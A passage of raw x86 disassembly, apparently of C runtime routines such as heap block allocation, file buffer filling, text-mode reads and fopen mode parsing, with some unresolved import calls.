		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2660B4Fh
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F1066h
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 2680C22h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F1066h
		test	eax, eax
		jnz	short loc_41FB25
		call	near ptr 2680C22h
		nop
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD020
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
